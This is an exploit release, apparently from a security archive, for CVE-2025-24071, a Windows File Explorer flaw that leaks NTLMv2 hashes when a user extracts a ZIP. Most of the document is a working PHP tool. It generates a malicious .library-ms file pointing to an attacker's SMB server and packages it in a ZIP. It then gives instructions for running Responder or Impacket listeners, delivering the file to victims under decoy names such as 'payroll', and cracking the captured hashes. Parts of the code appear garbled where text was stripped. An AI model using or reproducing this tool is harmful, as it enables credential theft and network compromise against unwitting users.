============================================================================================================================================= | # Title : Windows File Explorer NTLM v2 Hash Disclosure | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : System built‑in component.No standalone download available | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/197740/ & CVE-2025-24071 [+] Summary : Windows File Explorer in Windows 10 and 11 contains a critical NTLM hash disclosure vulnerability that allows attackers to capture user authentication credentials by exploiting the automatic parsing of .library-ms files from ZIP archives, leading to potential domain compromise through credential relay attacks. The vulnerability exists in Windows Explorer's automatic handling of .library-ms files extracted from ZIP archives. When a user extracts a malicious ZIP file, Explorer automatically attempts to connect to SMB shares specified in the .library-ms file, leaking NTLMv2 hashes to attacker-controlled servers without user interaction. [+] POC : php poc.php ip = $ip; $this->filename = $filename; $this->output_dir = rtrim($output_dir, '/'); $this->keep_files = $keep_files; } public function banner() { echo "==================================================\n"; echo " Windows File Explorer NTLM Hash Disclosure\n"; echo " CVE-2025-24071 Exploit Tool\n"; echo " Author: indoushka (PHP Port)\n"; echo "==================================================\n\n"; } public function create_library_ms() { $payload = << \\\\{$this->ip}\\shared XML; $library_file = $this->output_dir . '/' . $this->filename . '.library-ms'; if (!file_put_contents($library_file, $payload)) { throw new Exception("Failed to create .library-ms file"); } echo "[+] Created malicious .library-ms file: {$library_file}\n"; return $library_file; } public function build_zip($library_file) { $zip_file = $this->output_dir . '/' . $this->filename . '.zip'; $zip = new ZipArchive(); if ($zip->open($zip_file, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== TRUE) { throw new Exception("Cannot create ZIP file: {$zip_file}"); } $zip->addFile($library_file, basename($library_file)); $zip->close(); echo "[+] Created ZIP archive: {$zip_file}\n"; return $zip_file; } public function exploit() { $this->banner(); echo "[*] Target SMB Server: {$this->ip}\n"; echo "[*] Output Directory: {$this->output_dir}\n"; echo "[*] Base Filename: {$this->filename}\n\n"; // Create output directory if (!is_dir($this->output_dir)) { if (!mkdir($this->output_dir, 0755, true)) { throw new Exception("Failed to create output directory: {$this->output_dir}"); } } // Create malicious .library-ms file $library_file = $this->create_library_ms(); // Package into ZIP $zip_file = $this->build_zip($library_file); // Clean up if not keeping files if (!$this->keep_files && file_exists($library_file)) { unlink($library_file); echo "[-] Removed intermediate .library-ms file\n"; } $this->display_instructions($zip_file); return $zip_file; } private function display_instructions($zip_file) { echo "\n" . str_repeat("=", 60) . "\n"; echo " EXPLOITATION INSTRUCTIONS\n"; echo str_repeat("=", 60) . "\n"; echo "1. Start SMB listener on {$this->ip}:\n"; echo " - Using Responder: responder -I eth0 -wrf\n"; echo " - Using Impacket: smbserver.py SHARE /tmp/smb -smb2support\n"; echo "\n2. Deliver ZIP file to victim:\n"; echo " - File: {$zip_file}\n"; echo " - Methods: Email, USB, Network share, etc.\n"; echo "\n3. When victim extracts ZIP, Windows Explorer will:\n"; echo " - Automatically parse .library-ms file\n"; echo " - Attempt SMB connection to {$this->ip}\n"; echo " - Leak NTLMv2 hash to your SMB server\n"; echo "\n4. Crack the captured hash:\n"; echo " - Use hashcat: hashcat -m 5600 hash.txt wordlist.txt\n"; echo " - Use john: john --format=netntlmv2 hash.txt\n"; echo str_repeat("=", 60) . "\n"; } public static function is_valid_ip($ip) { return filter_var($ip, FILTER_VALIDATE_IP) !== false; } public function get_file_paths() { return [ 'library_ms' => $this->output_dir . '/' . $this->filename . '.library-ms', 'zip' => $this->output_dir . '/' . $this->filename . '.zip' ]; } } class SMBListenerHelper { public static function generate_responder_config($ip) { $config = << "hashcat -m 5600 {$hash_file} /usr/share/wordlists/rockyou.txt", 'john' => "john --format=netntlmv2 {$hash_file}", 'online_crack' => "Use online services like crackstation.net or hashes.com" ]; echo "\n" . str_repeat("=", 50) . "\n"; echo " HASH CRACKING COMMANDS\n"; echo str_repeat("=", 50) . "\n"; foreach ($commands as $tool => $command) { echo "{$tool}: {$command}\n"; } echo str_repeat("=", 50) . "\n"; } public static function generate_hash_example() { $example = << [options]\n"; echo "Example: php " . $argv[0] . " 192.168.1.100\n"; echo "Example: php " . $argv[0] . " 192.168.1.100 -n payroll -o ./malicious_zips --keep\n"; echo "\nOptions:\n"; echo " -n, --name Base filename (default: malicious)\n"; echo " -o, --output Output directory (default: ./output)\n"; echo " -k, --keep Keep .library-ms file after ZIP creation\n"; echo " --smb-help Show SMB listener setup help\n"; echo " --crack-help Show hash cracking instructions\n"; exit(1); } $ip = $argv[1]; $filename = 'malicious'; $output_dir = 'output'; $keep_files = false; // Parse command line options for ($i = 2; $i < $argc; $i++) { switch ($argv[$i]) { case '-n': case '--name': $filename = $argv[++$i]; break; case '-o': case '--output': $output_dir = $argv[++$i]; break; case '-k': case '--keep': $keep_files = true; break; case '--smb-help': echo SMBListenerHelper::generate_responder_config('192.168.1.100'); echo "\n\n"; echo SMBListenerHelper::generate_smbserver_script(); exit(0); case '--crack-help': HashCrackingHelper::display_cracking_commands(); echo "\n" . HashCrackingHelper::generate_hash_example() . "\n"; exit(0); } } try { if (!WindowsNTLMHashDisclosure::is_valid_ip($ip)) { echo "[-] Invalid IP address: {$ip}\n"; exit(1); } $exploit = new WindowsNTLMHashDisclosure($ip, $filename, $output_dir, $keep_files); $zip_file = $exploit->exploit(); echo "\n[+] Exploit files created successfully!\n"; echo "[+] Deliver this file to the victim: {$zip_file}\n"; } catch (Exception $e) { echo "[-] Error: " . $e->getMessage() . "\n"; exit(1); } } // Web interface for the exploit if (isset($_GET['web']) && $_GET['web'] === 'true') { ?> CVE-2025-24071 - NTLM Hash Disclosure

CVE-2025-24071 - Windows NTLM Hash Disclosure

'; try { $exploit = new WindowsNTLMHashDisclosure($ip, $filename, 'web_output', $keep_files); $zip_file = $exploit->exploit(); $file_paths = $exploit->get_file_paths(); if (file_exists($file_paths['zip'])) { $file_url = 'web_output/' . basename($file_paths['zip']); echo '

ZIP file generated successfully!

'; echo '

Download Malicious ZIP File

'; } } catch (Exception $e) { echo '

Error: ' . $e->getMessage() . '

'; } echo '
'; } } ?>

About CVE-2025-24071:

This vulnerability affects Windows File Explorer in Windows 10/11. When a user extracts a ZIP file containing a malicious .library-ms file, Windows Explorer automatically attempts to connect to an SMB server specified in the file, leaking the user's NTLMv2 hash.

Exploitation Steps:

  1. Set up SMB listener on your server
  2. Generate malicious ZIP using this tool
  3. Deliver ZIP to target user
  4. Capture NTLM hash when they extract the file
  5. Crack the hash to obtain credentials

Note: This tool is for educational and authorized testing purposes only.

Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================